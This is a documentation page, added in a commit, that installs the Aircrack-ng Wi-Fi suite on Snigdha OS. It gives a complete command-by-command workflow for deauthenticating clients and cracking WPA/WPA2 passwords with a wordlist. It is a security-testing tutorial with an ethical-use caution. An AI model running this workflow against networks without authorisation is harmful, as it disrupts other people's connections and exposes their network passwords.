📝 docs(new): about aircrack ng

docs/tools/aircrack-ng.md

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+sidebarposition: 1
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+
+# Aircrack-NG
+
+### 🔐 **Aircrack-ng: A Complete Guide with Installation on Snigdha OS**
+
+**Aircrack-ng** is a powerful suite of tools used for monitoring, testing, cracking, and securing Wi-Fi networks. This guide will cover how to install Aircrack-ng on Snigdha OS and explain its key tools. Let’s dive in! 🚀
+
+---
+
+### 🛠️ **How to Install Aircrack-ng on Snigdha OS**
+
+1. **Update Your System**:
+   Always ensure your system is up-to-date before installing new software:
+
+   ```bash
+   sudo pacman -Syu
+   ```
+
+2. **Install Aircrack-ng**:
+   Aircrack-ng is available in the official Snigdha OS repositories:
+
+   ```bash
+   sudo pacman -S aircrack-ng
+   ```
+
+3. **Verify Installation**:
+   Check that Aircrack-ng is installed correctly by running:
+
+   ```bash
+   aircrack-ng --help
+   ```
+
+   If installed successfully, you'll see a list of commands and options. ✅
+
+---
+
+### 🧰 **Aircrack-ng Tools Overview**
+
+The Aircrack-ng suite includes several tools for various purposes:
+
+1. **Airmon-ng (Monitor Mode Enabler) 🛰️**  
+   Enables monitor mode on your wireless network interface.
+
+   **Usage**:  
+   ```bash
+   sudo airmon-ng start wlan0
+   ```
+   This sets your `wlan0` device to monitor mode, allowing you to capture Wi-Fi traffic.
+
+2. **Airodump-ng (Packet Capture) 📡**  
+   Captures packets and displays information about nearby wireless networks.
+
+   **Usage**:  
+   ```bash
+   sudo airodump-ng wlan0mon
+   ```
+   Replace `wlan0mon` with your monitor-enabled interface. It displays SSIDs, BSSIDs, channels, and more.
+
+3. **Aireplay-ng (Packet Injection) 🎯**  
+   Injects packets to test network security or deauthenticate clients.
+
+   **Usage**:  
+   Deauthenticate a client to capture a handshake:
+   ```bash
+   sudo aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
+   ```
+   - `<BSSID>`: MAC address of the target access point.
+   - `<CLIENT_MAC>`: MAC address of the client.
+
+4. **Aircrack-ng (Password Cracker) 🔓**  
+   Cracks WPA/WPA2 passwords using captured handshakes.
+
+   **Usage**:  
+   ```bash
+   aircrack-ng -w wordlist.txt -b <BSSID> capture_file.cap
+   ```
+   - `wordlist.txt`: File containing potential passwords.
+   - `capture_file.cap`: Packet capture file with the handshake.
+
+5. **Airdecap-ng (Decrypt Packets) 🔐**  
+   Decrypts WEP/WPA-encrypted packets after obtaining keys.
+
+   **Usage**:  
+   ```bash
+   airdecap-ng -w <WPA_KEY> capture_file.cap
+   ```
+
+---
+
+### 🔍 **Example Workflow: Cracking WPA/WPA2**
+
+1. **Enable Monitor Mode**:  
+   Start monitoring with Airmon-ng:
+
+   ```bash
+   sudo airmon-ng start wlan0
+   ```
+
+2. **Capture Packets**:  
+   Use Airodump-ng to scan for networks:
+
+   ```bash
+   sudo airodump-ng wlan0mon
+   ```
+
+   Focus on a target by capturing packets on its channel:
+
+   ```bash
+   sudo airodump-ng --bssid <BSSID> --channel <CHANNEL> --write capture wlan0mon
+   ```
+
+3. **Deauthenticate a Client**:  
+   Force a client to reconnect to capture the WPA handshake:
+
+   ```bash
+   sudo aireplay-ng --deauth 10 -a <BSSID> -c <CLIENT_MAC> wlan0mon
+   ```
+
+4. **Crack the Handshake**:  
+   Use Aircrack-ng with a wordlist to crack the password:
+
+   ```bash
+   aircrack-ng -w wordlist.txt -b <BSSID> capture-01.cap
+   ```
+
+---
+
+### ⚠️ **Important Notes**
+
+1. **Ethical Use Only**:  
+   Always obtain explicit permission before testing any network. Unauthorized use is illegal.
+
+2. **Hardware Compatibility**:  
+   Ensure your wireless card supports monitor mode and packet injection. Popular chipsets include **Atheros** and **Realtek**.
+
+3. **Wordlist Quality**:  
+   Cracking success depends on your wordlist. Use comprehensive wordlists like `rockyou.txt` or generate custom ones.
+
+4. **Alternative Tools**:  
+   Combine Aircrack-ng with tools like **hashcat** for advanced cracking.
+
+---
+
+### 🚀 **Resources and Further Learning**
+
+- [Official Aircrack-ng Documentation](https://aircrack-ng.org/)
+- Tutorials on ethical Wi-Fi testing and network security.
+
+---
+
+By following this guide, you’re equipped to install and use Aircrack-ng effectively. Remember to use these tools responsibly and ethically. Happy testing! 🎉